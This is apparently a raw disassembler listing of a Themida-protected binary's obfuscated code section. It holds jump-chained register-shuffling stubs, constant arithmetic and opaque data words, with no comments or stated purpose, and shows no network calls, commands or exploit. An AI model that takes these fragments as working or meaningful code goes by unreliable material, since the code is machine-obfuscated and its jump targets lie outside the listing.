
loc_54AD05:				; CODE XREF: Themida_:0054772Aj
		neg	ebp
		sub	ebp, 51F3D8E7h
		sub	eax, 74125E39h
		sub	eax, ebp
		push	edi
		push	ecx
		mov	ecx, 249F1F17h
		jmp	loc_54C674
; ---------------------------------------------------------------------------


loc_54AD20:				; CODE XREF: Themida_:0054D8FAj
		push	ecx
		mov	ecx, 6A8A19C7h
		and	ecx, 622E4BEFh
		neg	ecx
		not	ecx
		shr	ecx, 4
		jmp	loc_54D16F
; ---------------------------------------------------------------------------
		dd 71EED81h, 814D057Dh,	2C07ABE5h, 5436E97Bh, 0ED810000h
		dd 60D60223h, 3ABFF581h, 0F5811789h, 54882D99h,	315DE929h
		dd 7344E9CEh, 95BD0000h, 557A031Eh, 242C8B59h, 4C481h
		dd 0D9870000h, 8701C383h, 0CE981D9h, 131E013h, 240C8BC8h
		dd 4C481h, 0D8010000h, 0FFD631E9h, 0C1405BFFh, 974008E0h
		dd 597D7F7h, 0C4FB46B7h, 0FFD38DE9h, 4B8FFh, 44010000h
		dd 0E9580424h, 0FFFFBFE2h, 666AE981h, 0B85023DAh, 0
		dd 1088C801h, 54B7E9h, 81E58900h, 4C5h,	4C58300h, 5C242C87h
		dd 0E924048Fh, 3AF8h
; ---------------------------------------------------------------------------


loc_54ADE4:				; CODE XREF: Themida_:0054B812j
		mov	ecx, [esp]
		push	540Ch
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54E957
; ---------------------------------------------------------------------------
		dd 295DE901h, 0D18959CAh, 0E9CE015Ah, 0FFFFD090h
; ---------------------------------------------------------------------------


loc_54AE0C:				; CODE XREF: Themida_:005510E1j
		push	esp
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5494C8
; ---------------------------------------------------------------------------
byte_54AE29	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00546420o
		dd 0F2E95124h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AE33:				; CODE XREF: Themida_:00550F5Cj
		xor	ecx, 60792D2Eh
		not	ecx
		shl	ecx, 2
		jmp	loc_54D386
; ---------------------------------------------------------------------------
		db 0D3h
		dd 0E99C2404h, 0FFFFB69Fh, 4BDh, 5DEE2900h, 2474FF56h
		dd 24348B04h, 8F04C483h, 248B2404h, 240C8924h, 0FFB67EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AE6D:				; CODE XREF: Themida_:0054F985j
		push	eax
		mov	eax, 621A0416h
		jmp	loc_546E7E
; ---------------------------------------------------------------------------


loc_54AE78:				; CODE XREF: Themida_:0054A581j
		push	edi
		jmp	loc_54E1F6
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0F205E924h
		db 2 dup(0FFh)
word_54AE86	dw 5ADh			; DATA XREF: Themida_:005462C8o
		dd 23F82566h, 49FBE9h, 2E4B900h, 2FE9599Eh, 8900004Eh
		dd 0E68956E5h, 6190E9h
		db 0
; ---------------------------------------------------------------------------


loc_54AEA5:				; CODE XREF: Themida_:005495C4j
		add	ebp, 582E2BDBh
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		neg	ebp
		jmp	loc_548402
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 148BD001h, 524C6824h, 48E90000h, 5000041h, 331A5DFAh
		dd 86E9C689h, 29FFFFE0h, 2203E9E8h, 14890000h, 0EEB4E924h
		dd 48FFFFFh, 6DF2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AEEE:				; CODE XREF: Themida_:00548415j
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_546801
; ---------------------------------------------------------------------------
		db 29h
		dd 0F8015AD0h, 9458AF05h, 3CC90556h, 505F06DDh,	39E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_54AF15:				; CODE XREF: Themida_:005516DEj
		pop	eax
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_550BEA
; ---------------------------------------------------------------------------
		dd 1874C381h, 0DE313A08h, 81241C8Bh, 4C4h, 3B7A2D00h, 0A8056C42h
		dd 0E97EDE03h, 1EB0h, 41FDE981h, 0E9011052h, 41FDC181h
		dd 875D1052h, 315C240Ch, 0E99C2404h, 0FFFFB587h, 0BF3EC181h
		dd 0ED81C87Dh, 5A2A14E7h, 0A9AE9h, 24048700h, 2B9515Ch
		dd 1000000h, 1C8759CBh,	8B665C24h, 0ADE92404h, 8700006Dh
		dd 0D25C2404h, 0E99C2424h, 0FFFFB54Fh, 4EC81h, 3C890000h
		dd 81E78924h, 4C7h, 4BD5500h, 1000000h,	2E95DEFh
		db 0E2h, 2 dup(0FFh)
byte_54AFBB	db 66h			; DATA XREF: Themida_:00546230o
		dd 5724048Bh, 64FDE9h, 54F38100h, 0E910843Ah, 1A87h, 0CE2CD800h
		dd 8951992Ch, 4C181E1h,	83000000h, 0C8704E9h, 0DEE95C24h
		dd 0F7FFFFDCh, 0EB8143D3h, 0FFBF7BFCh, 0E95BDE01h, 0FFFFE261h
		dd 0E4E90103h, 59000025h, 203FF581h, 0ED811991h, 33016634h
		dd 0FFFF33E9h, 2BF268FFh, 2C890000h, 4BD24h, 0EA810000h
		dd 1C3C2777h, 0C281EA01h, 1C3C2777h, 2BE565Dh, 81000000h
		dd 5558C0EAh, 81F2014Dh, 5558C0C2h, 609CE94Dh, 3C310000h
		dd 243C3324h, 0E9F8295Ch, 182Bh, 0BD242C89h, 202F18F1h
		dd 10E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B065:				; CODE XREF: Themida_:00548883j
		add	ebp, 0FBF55476h
		mov	eax, ebp
		pop	ebp
		xor	eax, 9EA7F874h
		jmp	loc_5485A1
; ---------------------------------------------------------------------------
aQXckSsp	db 'Q╧xC╙',0Bh,'ИИp',0
		db 0
; ---------------------------------------------------------------------------


loc_54B083:				; CODE XREF: Themida_:0054693Bj
		pop	esi
		jmp	loc_54F9E3
; ---------------------------------------------------------------------------


loc_54B089:				; CODE XREF: Themida_:00549715j
		pop	ebx
		add	eax, 4
		jmp	loc_54F761
; ---------------------------------------------------------------------------
dword_54B094	dd 0E92C77FFh, 0FFFFB44Fh ; DATA XREF: Themida_:005463F4o
; ---------------------------------------------------------------------------


loc_54B09C:				; CODE XREF: Themida_:0054B638j
		shl	edx, 1
		push	52B8h
		mov	[esp], eax
		push	ebp
		jmp	loc_54EE8E
; ---------------------------------------------------------------------------
		dd 0E95BDE00h, 677Ch, 4B9h, 0C7A0E900h,	0B72DFFFFh, 0E93D8948h
		dd 4CF5h, 0E9243C33h, 0FFFFFF7Ah, 4240481h, 8F000000h
		dd 4812404h, 424h, 0C7815F00h, 4, 4ACB68h, 24348900h, 2BEh
		dd 8BF70100h, 0C4812434h, 4, 8B243C87h,	0FBE92424h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B10B:				; CODE XREF: Themida_:00548704j
		mov	eax, 771D098Bh
		jmp	loc_547BF7
; ---------------------------------------------------------------------------
		db 5Bh,	83h, 0C7h
		dd 32C9E902h, 0DD010000h, 51BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_54B125:				; CODE XREF: Themida_:00548E52j
		not	edi
		and	edi, 3F285C7Ah
		sub	edi, 54A574E2h
		push	esi
		push	edi
		mov	edi, 19623621h
		jmp	loc_54FB7B
; ---------------------------------------------------------------------------


loc_54B13F:				; CODE XREF: Themida_:0054E63Dj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_547AF9
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
aL4Swt		db '▀4$ИWT',0
		align 4
		dd 88CE8852h, 0E72AE9F0h, 0AA68FFFFh, 8900002Eh, 0EE68240Ch
		dd 0E96F6C42h, 40AEh
; ---------------------------------------------------------------------------


loc_54B174:				; CODE XREF: Themida_:005481DEj
		push	dword ptr [esp]
		jmp	loc_54C469
; ---------------------------------------------------------------------------
dword_54B17C	dd 240C8B66h, 3D076857h, 24890000h, 24048324h, 5E685F04h
					; DATA XREF: Themida_:00546354o
		dd 0E9000008h, 4E4Ah, 6403ACBDh, 0F7C58144h, 0F71F3A21h
		dd 8E5C1DDh, 0FFFAC2E9h, 606568FFh, 0C890000h, 61FEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B1BA:				; CODE XREF: Themida_:0054ECBEj
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		jmp	loc_55071B
; ---------------------------------------------------------------------------
		dd 11540B8h, 0ECED0555h, 0C329CC61h, 81CB2958h,	63022DC3h
		dd 9E95921h, 68FFFFEDh,	2CFFh, 0E9240C89h, 5C57h
; ---------------------------------------------------------------------------


loc_54B208:				; CODE XREF: Themida_:0054C0D2j
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	66DDh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		push	ecx
		mov	ecx, 6796A55h
		mov	edi, ecx
		pop	ecx
		mov	ecx, 277535A1h
		xor	ecx, edi
		pop	edi
		push	ecx
		sub	dword ptr [esp], 7A0E2716h
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 7A0E2716h
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_546870
; ---------------------------------------------------------------------------


loc_54B26D:				; CODE XREF: Themida_:00546DA6j
		xchg	ecx, [esp]
		jmp	loc_54BE31
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 83000000h, 1C8704EBh, 34895C24h, 606EBE24h, 0EC835E43h
		dd 240C8904h, 0E0137268h, 240C8B2Fh, 6804C483h,	7D2Ch
		dd 0BB241C89h, 13B74EFFh, 9BF7EB81h, 0D929421Ah, 0E9CE315Bh
		dd 1572h
; ---------------------------------------------------------------------------


loc_54B2B8:				; CODE XREF: Themida_:0054E84Aj
		sub	ecx, 0BB7E553Bh
		xor	ebp, ecx
		pop	ecx
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_5493F5
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 241C8704h, 0FFCE9EE9h, 4C483FFh
; ---------------------------------------------------------------------------


loc_54B2DC:				; CODE XREF: Themida_:005511A8j
		push	5FCBh
		mov	[esp], eax
		jmp	loc_54729C
; ---------------------------------------------------------------------------
		db 0BDh, 0B2h, 4Fh
		dd 0B8507D0Ah, 4F716F5h, 0E883D0F7h, 573A2DFFh,	70511FAh
		dd 187D89Ch, 0B95158C5h, 6E4C082Dh, 0E1C1D1F7h,	0C1814104h
		dd 3DDCC43Bh, 0D159CD29h, 0ED814DE5h, 29AA7857h, 7F48C781h
		dd 0E9506206h, 0FFFFDE4Bh
; ---------------------------------------------------------------------------


loc_54B330:				; CODE XREF: Themida_:00547748j
		mov	edx, [esp]
		add	esp, 4
		xor	edx, 440B4130h
		jmp	loc_54867E
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 99h
		dd 8129D861h, 0C20861CFh, 62E7815Fh, 817AA024h,	0BD621ECFh
		dd 7AEF8101h, 517BBD62h, 0B9E9h
		db 0
aNvqwhECsJ	db '╜VQWhЛe╤cИ',7,'j',0 ; DATA XREF: Themida_:0054647Co
		db 0
; ---------------------------------------------------------------------------


loc_54B373:				; CODE XREF: Themida_:00551817j
		mov	esp, [esp]
		jmp	loc_5464EB
; ---------------------------------------------------------------------------
		db 0BEh
		dd 7691709Eh, 95E9DEF7h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B387:				; CODE XREF: Themida_:0054EC1Ej
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xor	[esp], edx
		jmp	loc_548E45
; ---------------------------------------------------------------------------


loc_54B39A:				; CODE XREF: Themida_:005485D9j
		pop	ebx
		sub	ecx, 1
		push	ebx
		mov	ebx, 286520E1h
		or	ebx, 1C240216h
		push	edi
		mov	edi, 365535F0h
		neg	edi
		jmp	loc_54F544
; ---------------------------------------------------------------------------
		db 0B7h
		dd 4B55154h, 6192E9h, 24348700h, 0F724248Bh, 8E3C1D3h
		dd 9971C381h, 0DA0948A1h, 6A07E9h, 5EF50100h, 31242C33h
		dd 2C33242Ch, 4085C24h,	0FCE99C24h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B3EF:				; CODE XREF: Themida_:00547814j
		pop	ebp
		pop	edi
		add	edi, ebp
		pop	ebp
		add	edi, ecx
		push	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 2AD40E67h
		mov	ecx, 47AE231Dh
		sub	ecx, ebp
		jmp	loc_54A678
; ---------------------------------------------------------------------------
		dw 68B9h
		dd 291B4622h, 0C28159CAh, 1DF17556h, 0EA81FA01h, 1DF17556h
		dd 2268BE56h, 0EA811B46h, 7917755Bh, 50E9F201h,	28000021h
		dd 805966EFh, 0F82861EFh, 157FE95Bh, 14890000h,	375EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B45E:				; CODE XREF: Themida_:0054B582j
		add	esi, eax
		jmp	loc_551283
; ---------------------------------------------------------------------------
		db 0BBh, 0F4h, 2Eh
		dd 0BA525B71h, 79C84655h, 2AEFF281h, 0D33103EAh, 24E3815Ah
		dd 5519E56Ch, 0F035FBDh, 0AAED8156h, 21FAC8B2h,	2E95DEBh
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B493:				; CODE XREF: Themida_:00550F1Aj
		mov	ecx, [eax]
		mov	eax, [esp]
		add	esp, 4
		push	5323h
		mov	[esp], edx
		push	eax
		jmp	loc_5508B7
; ---------------------------------------------------------------------------
		db 1, 0D0h, 53h
		dd 29024BBBh, 0C6E38134h, 0F7769A28h, 0B31BE9D3h, 0F181FFFFh
		dd 0ACDCCECBh, 34FFCE01h, 240C8B24h, 5204C483h,	0C281E289h
		dd 4, 4C281h, 0E5E90000h, 1000015h, 24148BD3h, 6804C483h
		dd 29DDh, 0FFE615E9h, 0EEEE81FFh, 5A07C31Ah, 2B850h, 0C6010000h
		dd 24348758h, 3F92E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B50D:				; CODE XREF: Themida_:0054DA86j
		push	399h
		mov	[esp], ebx
		jmp	loc_547741
; ---------------------------------------------------------------------------
		dw 525Ah
		dd 0C6FEB5B6h, 0E90AEE80h, 6C7h, 46FC181h, 0D1010AB1h
		dd 46FE981h, 7E90AB1h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B53B:				; CODE XREF: Themida_:0054EDD4j
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_551251
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 632414AFh
		xor	ebp, 27840500h
		add	[esp+4], ebp
		pop	ebp
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_54B57C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18300h, 0E9240C33h, 529Ah
; ---------------------------------------------------------------------------


loc_54B57C:				; CODE XREF: Themida_:0054B566j
		push	eax
		mov	eax, 4
		jmp	loc_54B45E
; ---------------------------------------------------------------------------


loc_54B587:				; CODE XREF: Themida_:0054687Bj
		push	ebp
		mov	ebp, 6B44E03h
		mov	edi, 87189FCh
		add	edi, ebp
		pop	ebp
		sub	ebp, edi
		pop	edi
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0Bh
		push	edx
		jmp	loc_54EBE5
; ---------------------------------------------------------------------------


loc_54B5A4:				; CODE XREF: Themida_:0055000Bj
		pop	eax
		add	eax, 56725691h
		mov	edx, eax
		pop	eax
		shl	edx, 3
		or	edx, 40E6C26h
		not	edx
		sub	edx, 18770A92h
		sub	edx, 39A8F8C3h
		add	esi, edx
		pop	edx
		add	esi, 4
		jmp	loc_551814
; ---------------------------------------------------------------------------


loc_54B5D2:				; CODE XREF: Themida_:00551FCFj
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_551A90
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0E995B224h, 55F6h, 4B8505Fh,	1000000h, 66FBE9C3h, 295A0000h
		dd 52CE2DD8h, 34FF51DEh, 2434FF24h, 81241C8Bh, 4C4h, 4C48300h
		dd 50E78957h, 4B8h, 8E4E900h, 4870000h,	24248B24h, 52240489h
		dd 7DE9E289h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B62F:				; CODE XREF: Themida_:00546B7Fj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	edx, eax
		jmp	loc_54B09C
; ---------------------------------------------------------------------------


loc_54B63D:				; CODE XREF: Themida_:00551ABFj
		mov	[esp], esi
		mov	esi, edi
		mov	ecx, esi
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebp
		push	420Ah
		mov	[esp], eax
		mov	eax, 6E70174Ch
		xor	eax, 38CF7A1Eh
		neg	eax
		add	eax, 6EEE68D4h
		dec	eax
		or	eax, 10757FF7h
		jmp	loc_54916E
; ---------------------------------------------------------------------------
		dw 0C7FEh
		dd offset dword_561868
		dd 24048900h, 0C7003CB0h, 5BF82858h, 0B60FC330h, 0E62E9C0h
		dd 0EA810000h, 5FED7D28h, 7E6468h, 243C8900h, 6C42EEBFh
		dd 5FFA016Fh, 0FFAE2EE9h, 5FFE01FFh, 2474FF56h,	48F5E04h
		dd 511BE924h, 815D0000h, 4C6h, 74FF5600h, 5CE90424h, 8B00003Ch
		dd 65E9241Ch
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B6E7:				; CODE XREF: Themida_:00548042j
		add	esp, 4
		or	eax, eax
		jmp	loc_550338
; ---------------------------------------------------------------------------


loc_54B6F1:				; CODE XREF: Themida_:0054F887j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54D49B
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FFC512E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B705:				; CODE XREF: Themida_:0054945Aj
		add	eax, 70F42D0Ah
		push	ecx
		push	673Fh
		mov	[esp], edi
		push	esi
		mov	esi, 7D663E98h
		push	edx
		mov	edx, 6812DA8h
		or	esi, edx
		jmp	loc_54A4B9
; ---------------------------------------------------------------------------
		dw 0DD68h
		dd 89000015h, 2FE9240Ch, 0F700003Eh, 5EFC1DFh, 2CE2E9h
		dd 7EBF5700h, 3136043Ah, 0E9C15FF9h, 0E9814108h, 1C6F3CF4h
		dd 6120E957h, 57500000h, 5B180DBFh, 0A5DE97Eh
		db 2 dup(0)
word_54B762	dw 4ACh			; DATA XREF: Themida_:00546274o
		dd 0E9FB2CB3h, 67F5h, 0C081B050h, 516604E0h, 0C820BBB1h
		dd 240C8B66h, 14E0E9h, 24048900h, 6B4FE9h, 4C68100h, 53000000h
		dd 2BBh, 5168E900h, 0CBB80000h,	0E92A5159h, 2C00h, 50E94434h
		dd 89FFFFFAh, 4C781E7h,	0E9000000h, 0FFFFE698h
; ---------------------------------------------------------------------------


loc_54B7B8:				; CODE XREF: Themida_:00549BE0j
		xchg	eax, [esp]
		jmp	loc_54EA22
; ---------------------------------------------------------------------------


loc_54B7C0:				; CODE XREF: Themida_:0054C378j
		add	ecx, ebx
		pop	ebx
		jmp	loc_54FF96
; ---------------------------------------------------------------------------
		dd 31241C33h, 1C33241Ch, 24248B24h, 0FFEC95E9h,	5724BDFFh
		dd 814D6B02h, 3079BCCDh, 2EED8114h, 0E9472B59h,	0FFFFC9BFh
; ---------------------------------------------------------------------------


loc_54B7F0:				; CODE XREF: Themida_:0054F2D3j
		mov	ebx, 34925869h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1AEA485Fh
		inc	ecx
		shl	ecx, 4
		xor	ecx, 58262C77h
		xor	ecx, 926AF175h
		mov	esi, ecx
		jmp	loc_54ADE4
; ---------------------------------------------------------------------------


loc_54B817:				; CODE XREF: Themida_:0054840Aj
		pop	ebp
		add	[esp+4], esi
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		push	6829h
		mov	[esp], eax
		jmp	loc_551B0A
; ---------------------------------------------------------------------------
		db 5Fh
		dd 13E9D9F7h, 8900006Dh, 0B9512414h, 65417BDBh,	0FFCF28E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B849:				; CODE XREF: Themida_:00551F49j
		push	eax
		mov	eax, 0E59FC83Eh
		xor	ebp, eax
		jmp	loc_54D376
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 5D8628Fh, 786CC681h,	555B15E4h, 4BDh, 22EE8100h, 1626757h
		dd 22C681EEh, 5D626757h, 0FFDE6AE9h, 0DBBF57FFh, 5162C36Fh
		dd 0E71233B9h, 0C1814156h, 0ADDEE8Ch, 4AC2E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B895:				; CODE XREF: Themida_:005513EFj
		push	ebx
		mov	ebx, 541076F7h
		or	ebx, 2BDE1D5Eh
		xor	ebx, 57597E92h
		jmp	loc_5485D7
; ---------------------------------------------------------------------------
dword_54B8AC	dd 240C8B66h, 50E38953h, 16F8E9h ; DATA	XREF: Themida_:00546384o
		db 0
; ---------------------------------------------------------------------------


loc_54B8B9:				; CODE XREF: Themida_:0054BB31j
		add	edi, 2A485F4Dh
		jmp	loc_5477E2
; ---------------------------------------------------------------------------


loc_54B8C4:				; CODE XREF: Themida_:005513B3j
		pop	edi
		or	ebx, ebp
		pop	ebp
		push	789Bh
		mov	[esp], ebp
		jmp	loc_548233
; ---------------------------------------------------------------------------
byte_54B8D5	db 56h,	0BEh, 1Fh	; DATA XREF: Themida_:00546260o
		dd 0F77C837Dh, 936851DEh, 89000052h, 7AE92434h,	5DFFFFCAh
		dd 4C481h, 0BD550000h, 304532A2h, 28C5E9h, 284EB300h, 241C8BD8h
		dd 4C481h, 68660000h, 89667498h, 54E9241Ch, 55000027h
		dd 5C81E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B91D:				; CODE XREF: Themida_:0054A285j
		pop	esp
		xor	eax, ebp
		pop	ebp
		xor	ebx, eax
		xor	edx, eax
		jmp	loc_5464EB
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4BF57h, 0F8010000h, 0ABE9555Fh
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B93F:				; CODE XREF: Themida_:0054F167j
		pop	eax
		jmp	loc_550C2D
; ---------------------------------------------------------------------------
		db 5Ch,	5, 0ADh
		dd 17AD017h, 64AEE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B952:				; CODE XREF: Themida_:00546F86j
		push	eax
		jmp	loc_547A89
; ---------------------------------------------------------------------------
		dd 8005E6C0h, 7AE950EEh, 8100000Ah, 4C7h, 4C78300h, 5C243C87h
		dd 0E9FFC280h, 4522h
dword_54B978	dd 4BE957ADh		; DATA XREF: Themida_:005462ACo
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B97F:				; CODE XREF: Themida_:0054DD9Fj
		pop	ebp
		add	esi, eax
		push	edi
		mov	edi, 0DEF13ABh
		jmp	loc_547A2F
; ---------------------------------------------------------------------------
		db 5Ah,	55h, 0BDh
		dd 4, 0E95DEE01h, 34B3h
; ---------------------------------------------------------------------------


loc_54B99C:				; CODE XREF: Themida_:00549A45j
		or	ebp, 6F7A2D6Dh
		add	ebp, 9084C481h
		and	eax, ebp
		pop	ebp
		push	eax
		push	ebx
		push	5693h
		mov	[esp], edx
		jmp	loc_546B2F
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 41FB4E69h, 0BF57DEF7h, 2C1DE13Eh, 0A3E9FE31h, 6600001Fh
		dd 5BDE8859h, 808DF680h, 0E95354C6h, 5E47h, 60E7BB53h
		dd 0D83110DFh, 0FFF3A8E9h, 0D8295BFFh, 4EC815Bh, 0E9000000h
		dd 6429h, 8304C483h, 48904ECh, 2B824h, 0E3E90000h, 100004Fh
		dd 0E7C581CDh, 595A2A14h, 5EE9EB01h, 0B900006Bh, 78E26469h
		dd 479E9h, 4C28100h, 83000000h,	148704EAh, 3C895C24h, 4BF24h
		dd 77E90000h, 81000024h, 4C5h, 4ED8300h, 5C242C87h, 0FF241489h
		dd 8B042474h, 0E9552414h, 0FFFFF36Dh, 7506EE81h, 0C6810A7Eh
		dd 0FFFFFFFFh, 713D68h,	241C8900h, 50C4E9h, 0C4835A00h
		dd 49056604h, 0E5A9E970h, 0F749FFFFh, 1BF181D1h, 1F39FF7h
		dd 96E959CEh, 30FFFFE4h, 426EE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BA9E:				; CODE XREF: Themida_:0054A02Aj
		pop	esp
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ebx
		sub	dword ptr [esp], 25E168B4h
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54F001
; ---------------------------------------------------------------------------


loc_54BAC9:				; CODE XREF: Themida_:00551C65j
		xor	ecx, eax
		jmp	loc_54F074
; ---------------------------------------------------------------------------
		dd 280BB050h, 526658C3h, 0F32858B6h, 24148B66h,	8002C483h
		dd 9DE944C3h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54BAEB:				; CODE XREF: Themida_:005483E7j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 6BBC6F3Ah
		jmp	loc_549FC0
; ---------------------------------------------------------------------------


loc_54BB1D:				; CODE XREF: Themida_:00546724j
		push	ebx
		jmp	loc_54E774
; ---------------------------------------------------------------------------


loc_54BB23:				; CODE XREF: Themida_:0054FD77j
		neg	edi
		and	edi, 6F22650Bh
		sub	edi, 1C2244CAh
		jmp	loc_54B8B9
; ---------------------------------------------------------------------------
		dw 0FD89h
		dd 8BE8215Fh, 0C483242Ch, 0FC00904h, 24CA84h, 67556800h
		dd 4890000h, 0FE6824h, 34FF0000h, 2434FF24h, 0E6895658h
		dd 4C681h, 0C6830000h, 24348704h, 3D0CE95Ch, 0E9C00000h
		dd 3F18004h, 0E907E1C0h, 147Ah,	8B24048Fh, 8B662424h, 0AEE92404h
		dd 81000008h, 731632C1h, 0CDC98170h, 566E1221h,	53DDE951h
		dd 2C8B0000h, 4CB4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BBAA:				; CODE XREF: Themida_:005525D2j
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_546AE3
; ---------------------------------------------------------------------------
		dd offset dword_43A998+3D0h
		dd 3567E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BBCE:				; CODE XREF: Themida_:0054A24Fj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	1B5Dh
		mov	[esp], edi
		mov	edi, 5C0E0C3Ah
		push	ebx
		mov	ebx, 484E0AD4h
		jmp	loc_54CCDA
; ---------------------------------------------------------------------------
		db 80h
		dd 2BE93ACEh
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BBF7:				; CODE XREF: Themida_:0054F862j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5464EB
; ---------------------------------------------------------------------------
		db 1, 0CAh, 0E9h
		dd 628Fh, 4C0835Ah, 8B240487h, 48F2424h, 24248B24h, 9C2424D2h
		dd 0FFA8C6E9h, 243433FFh, 33243431h, 248B2434h,	82BE5624h
		dd 1513D66h, 24348BF2h,	0E904C483h, 2409h, 43B1F781h, 0F8295D6Fh
		dd 7AB9515Fh, 0F74CB94Bh, 0CFE981D9h, 15CC2B1h,	0E7E959C8h
		dd 0B9FFFFBBh, 400E0261h, 8159CB29h, 4ECh, 0E507E900h
		dd 0EC81FFFFh, 4, 0B9240C89h, 7449619Bh, 0E181D1F7h, 41A343BFh
		dd 2394F181h, 0C9814FC3h, 694539C2h, 10D8C181h,	5FE90A02h
		dd 81000048h, 16075BC2h, 5AD0310Dh, 38D7E955h, 0C6830000h
		dd 2436802h, 34890000h,	2474FF24h, 0D124E904h, 3C89FFFFh
		dd 4E36BF24h, 0EF81413Dh, 0FFFFFFFFh, 182AE9h
		db 0
; ---------------------------------------------------------------------------


loc_54BCD9:				; CODE XREF: Themida_:00550CD3j
		push	eax
		mov	eax, 0ACD1D0Bh
		xor	esi, eax
		pop	eax
		push	1B66h
		mov	[esp], esi
		not	dword ptr [esp]
		jmp	loc_547A93
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 1D2D1C44h, 0E95EF229h, 308Eh, 3EB8059h, 0FFFA63E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BD09:				; CODE XREF: Themida_:0054907Dj
		add	[esp+0Ch], ebp
		pop	ebp
		pop	eax
		sub	dword ptr [esp+4], 727E70A5h
		jmp	loc_54AB81
